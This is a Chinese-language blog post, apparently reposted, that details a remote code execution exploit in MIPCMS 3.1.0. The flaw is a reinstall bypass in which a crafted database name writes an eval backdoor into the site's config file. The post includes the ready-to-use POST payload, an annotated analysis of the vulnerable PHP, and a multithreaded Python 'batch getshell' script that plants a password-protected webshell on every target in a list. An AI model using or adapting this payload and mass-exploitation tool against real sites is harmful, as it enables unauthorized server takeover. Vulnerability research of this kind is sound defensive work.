MIPCMS V3.1.0 远程写入配置文件Getshell(每日一洞)

admin 2023年12月14日13:44:39评论8 views字数 7861阅读26分12秒阅读模式

0x01 前言

今天翻了下CNVD,看到了一个MIPCMS的远程代码执行漏洞,然后就去官网下载了这个版本的源码研究了下。
看下整体的结构,用的是thinkPHP的架构,看到了install这个文件没有可以绕过install.lock进行重装,但是里面有一个一定要验证数据库,又要找一个SQL的注入漏洞。
想起前几天大表哥Bypass发了一篇好像是关于mipcms的漏洞,赶紧去翻了一下,又学到不少技巧,这个技巧可以用在我上次发的一篇ZZCMS 8.2任意文件删除至Getshell的文章,里面有有个getshell的操作,但是也是要数据库的验证,用上这个技巧也不需要SQL注入也可以getshell了。

0x02 环境

程序源码下载:http://www.mipcms.cn/mipcms-3.1.0.zip
Web环境:Deepin Linux+Apache2+PHP5.6+MySQL(192.168.1.101)
远程数据库服务器:Windows 10 x64(192.168.1.102)

0x03 漏洞利用过程

  1. 我们先正常安装程序

  2. 在远程数据库服务器上面开启远程访问,然后在上面建立一个名为test',1=>eval(file_get_contents('php://input')),'2'=>'数据库。
    MIPCMS V3.1.0 远程写入配置文件Getshell(每日一洞)

  3. 浏览器访问:http://www.getpass.test//index.php?s=/install/Install/installPost
    POST:

username=admin&password=admin&rpassword=admin&dbport=3306&dbname=test',1=>eval(file_get_contents('php://input')),'2'=>'&dbhost=192.168.1.102&dbuser=root&dbpw=root

记得里面的数据库对应上你远程数据库服务器的信息!

可以看到一句把eval函数写到了配置文件里面了

MIPCMS V3.1.0 远程写入配置文件Getshell(每日一洞)
4. 执行代码,具体原理我会在后面构造poc的再详细讲解
浏览器访问:http://www.getpass.test/system/config/database.php
POST:phpinfo();

0x04 框架知识补充

还有人可能不怎么了解这个thinkPHP的框架,我在这里简单讲解下,最好还是去官方解读下https://www.kancloud.cn/manual/thinkphp5/118003

首先我们现在thinkPHP的配置文件/system/config/config.php里面修改下面这两个为true

然后去打开网站(这个适合刚刚搭建还没开始安装),它会自动跳转到安装的页面。做了刚才的设置后会在右下角出现一个小绿帽,点击就可以看到文件的加载流程。
MIPCMS V3.1.0 远程写入配置文件Getshell(每日一洞)
这里有很多文件会预加载,我们主要看它的路由文件Route.php
MIPCMS V3.1.0 远程写入配置文件Getshell(每日一洞)
我们可以看到,这里检查了install.lock文件存不存在,如果不存在就会跳转到安装的界面进行安装。

0x05 漏洞代码分析过程

/app/install/controller/Install.php问题出现在这个文件,它里面的就在index这里检查的install.lock的存在,但是在installPost这个方法里面却没有检查,也没有做关联,在install.html里面直接就跳过了,从而导致了程序重装。

下面直接按照顺序读下面的代码就行了,我都注释好了。就有两个点:

  1. 一个是遍历数据库内容那里,我输出了$matches截图这个内容给你们好理解。
  2. 再一个是配置文件的替换,读到$conf = str_replace("#{$key}#", $value, $conf);这句的时候我顺便截图了一个配置的内容。
public function installPost(Request $request) {
                header('Access-Control-Allow-Origin: *');
                header('Access-Control-Allow-Credentials: true');
                header('Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS');
                header('Access-Control-Allow-Headers: Content-Type, Content-Range,access-token, secret-key,access-key,uid,sid,terminal,X-File-Name,Content-Disposition, Content-Description');
            if (Request::instance()->isPost()) {//判断是否有post的数据
                $dbconfig['type']="mysql";//定义数据库类型
                $dbconfig['hostname']=input('post.dbhost');//接受post过来的dbhost的值,然后赋值到$dbconfig的数组里面,下面以此类推
                $dbconfig['username']=input('post.dbuser');
                $dbconfig['password']=input('post.dbpw');
                $dbconfig['hostport']=input('post.dbport');
                $dbname=strtolower(input('post.dbname'));//这里用了转换小写的函数,所以后面构造poc的时候就不能直接写入一句话木马$_POST了
                
                $username = input('post.username');
                $password = input('post.password');
                $rpassword = input('post.rpassword');
                if (!$username) {//判断上面是否有post这个值过来,没有就执行下面的报错,后面的以此类推
                    return jsonError('请输入用户名');
                }
                if (!$password) {
                    return jsonError('请输入密码');
                }
                if (!$rpassword) {
                    return jsonError('请输入重复密码');
                }
                //下面这句是构造PDO的连接方式,如果有不懂的同学可以去了解下,因为这种方式比老的sql执行方式安全
                $dsn = "mysql:dbname={$dbname};host={$dbconfig['hostname']};port={$dbconfig['hostport']};charset=utf8";
                try {//如果有学过Python的同学可以晓得try的方式可以自定义报错信息,可以避免泄露其他的敏感数据库信息
                    $db = new \PDO($dsn, $dbconfig['username'], $dbconfig['password']);
                } catch (\PDOException $e) {
                    return jsonError('错误代码:'.$e->getMessage());
                }
                $dbconfig['database'] = $dbname;//把上面post过来的数据库名赋值到数组
                $dbconfig['prefix']=trim(input('dbprefix'));//接受post过来的数据前缀,然后用trim去掉两边的空白字符
                $tablepre = input("dbprefix");//表名前缀
                $sql = file_get_contents(PUBLIC_PATH.'package'.DS.'mipcms_v_3_1_0.sql');//读取数据库文件mipcms_v_3_1_0.sql的内容
                $sql = str_replace("\r", "\n", $sql);//把刚读到的内容进行替换操作,"\r"是换行符,"\n"是回车符
                $sql = explode(";\n", $sql);//用explode函数以\n区别然后转换为数组形式
                $default_tablepre = "mip_";//定义默认的表名前缀
                $sql = str_replace(" `{$default_tablepre}", " `{$tablepre}", $sql);//把上面传来的表名前缀替换掉默认的表名前缀
                foreach ($sql as $item) {//这里有个遍历数组,就是把刚才的数组遍历然后一句一句执行
                    $item = trim($item);
                    if(empty($item)) continue;
                    //这里有个正则匹配,正则总会把对新手弄得云里雾里,其实也不难,这里的意思就是匹配到创建表的语句先执行,然后再执行下面的,要不然会出现错误.
                    preg_match('/CREATE TABLE `([^ ]*)`/', $item, $matches);
                    if($matches) {//如果匹配到创建数据表的语句就执行,如果匹配到然后下面的执行不成功就会终止提示安装失败
                        if(false !== $db->exec($item)){

                        } else {
                           return jsonError('安装失败');
                        }
                    } else {
                        $db->exec($item);
                    }
                }
                
                
                if(is_array($dbconfig)){//判断是否为数组
                    $conf = file_get_contents(PUBLIC_PATH.'package'.DS.'database.php');//读取package文件夹下面的database.php文件
                    foreach ($dbconfig as $key => $value) {
                        $conf = str_replace("#{$key}#", $value, $conf);//把刚才读到的内容里面替换掉指定数组键的值,为什么要有#,可以去看刚才文件就可以看到了
                    }
                    $install = CONF_PATH;//把环境常量的conf路径赋值
                    if(!is_writable($install)){//判断这个目录是否有写入的权限
                        return jsonError('路径:'.$install.'没有写入权限');
                    }
                    try {
                        $fileStatus = is_file(CONF_PATH. '/database.php');//判读这个目录下的database.php是否存在
                        if ($fileStatus) {
                             unlink(CONF_PATH. '/database.php');//如果存在就删除这个文件
                        }
                        file_put_contents(CONF_PATH. '/database.php', $conf);//然后重新再写如我们刚才替换的新的数据库文件
                        return jsonSuccess('配置文件写入成功',1);
                    } catch (Exception $e) {
                        return jsonError('database.php文件写入失败,请检查system/config 文件夹是否可写入');
                    }
                    
                }

        }

    }

0x06 Payload构造

  1. 从上面的代码分析下来,我们可以晓得,必须要传入的值有
    username password rpassword dbport dbname dbhost dbuser dbpw
    用户名密码这些可以随便写,但是数据库这个在你不晓得数据库信息的时候是无法进行下去的,因为通过上面的代码分析,如果数据库连接不成功就会退出。
    看Bypass大表哥的方法,我一想,特么gb,我咋没想到这种方法呢,wocao。dbhost不是可以填服务器地址么,我们在一个服务器上面搭建一个然后进行连接不就行了么,哈哈哈。
  2. 数据库的问题解决了,我们要怎么样写到数据库文件里面呢。写到里面的就有这几个值,数据库的服务器地址和用户名密码是不能动的了,因为Mysql用户默认是16位,可以修改位数,但是数据库会把,自动转换为.,数据库密码是加密的,还有prefix这个参数修改了会造成创建表的出现错误导致程序不能正常执行。

那么我们构造的写进去的信息就不能破坏里面的结构,我们就只能用dbname了。
3. 还有一个问题,如果我们直接构造一句话木马也不行,因为上面 $dbname=strtolower(input('post.dbname'))这里用了转换小写,所以一句话的$_POST$_GET就不能用了,不能用这个我们还可以用PHP的协议php://input来接受值然后用eval和assert来执行。
我在这里就不再讲解这个协议了,论坛有一篇文章是专门讲这个的,还挺详细的:https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=27441

  1. 从上面代码分析,我们可以看出,替换值后面会加上',,所以我们要对应上去
    test',1=>eval(file_get_contents('php://input')),'2'=>'
    最终的Payload:
username=admin&password=admin&rpassword=admin&dbport=3306&dbname=test',1=>eval(file_get_contents('php://input')),'2'=>'&dbhost=192.168.1.102&dbuser=root&dbpw=root

0x07 用Python编写批量getshell脚本

我把配置都写在里面了,需要修改数据库信息直接在代码里面改了,如果加在参数会比较麻烦。

#!/usr/bin/env
#author:F0rmat
import sys
import requests
import threading
def exploit(target):
    dbhost='192.168.1.102'
    dbuser = 'root'
    dbpw = 'root'
    dbport=3306
    dbname="test',1=>eval(file_get_contents('php://input')),'2'=>'"
    if sys.argv[1]== "-f":
        target=target[0]
    url1=target+"/index.php?s=/install/Install/installPost"
    data={
        "username": "admin",
        "password":  "admin",
        "rpassword": "admin",
        "dbport": dbport,
        "dbname": dbname,
        "dbhost": dbhost,
        "dbuser": dbuser,
        "dbpw": dbpw,
    }
    payload = "fwrite(fopen('shell.php','w'),'<?php @eval($_POST[f0rmat])?>f0rmat');"
    url2=target+"/system/config/database.php"
    shell = target+'/system/config/shell.php'
    try:
        requests.post(url1,data=data).content
        requests.post(url2, data=payload)
        verify = requests.get(shell, timeout=3)
        if "f0rmat" in verify.content:
            print 'Write success,shell url:',shell,'pass:f0rmat'
            with open("success.txt","a+") as f:
                f.write(shell+'  pass:f0rmat'+"\n")
        else:
            print target,'Write failure!'
    except Exception, e:
        print e
def main():
    if len(sys.argv)<3:
        print 'python mipcms_3.1.0.py -h target/-f target-file '
    else:
        if sys.argv[1] == "-h":
            exploit(sys.argv[2])
        elif sys.argv[1] == "-f":
            with open(sys.argv[2], "r") as f:
                b = f.readlines()
                for i in xrange(len(b)):
                    if not b[i] == "\n":
                        threading.Thread(target=exploit, args=(b[i].split(),)).start()



if __name__ == '__main__':
    main()

0x08 结束

终于写完了,肚子好饿啊!

我去敷面膜了,然后洗洗睡了~

0x09 参考

https://github.com/F0r3at/Python-Tools/tree/master/Mipcms
http://www.cnvd.org.cn/flaw/show/CNVD-2018-02516
http://mp.weixin.qq.com/s?__biz=MzA3NzE2MjgwMg==&mid=301419963&idx=1&sn=0cb82aa5629b6432415c93d9f2b8eb8c&chksm=0b55dde63c2254f04399a7afa7f49a3889e8eaa37d747ec1a1b70f00cc0bf94c764db1295a11&mpshare=1&scene=23&srcid=0321pbJgBla01aN1U5GZXNlG


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月14日13:44:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   MIPCMS V3.1.0 远程写入配置文件Getshell(每日一洞)http://cn-sec.com/archives/2298191.html

发表评论

匿名网友 填写信息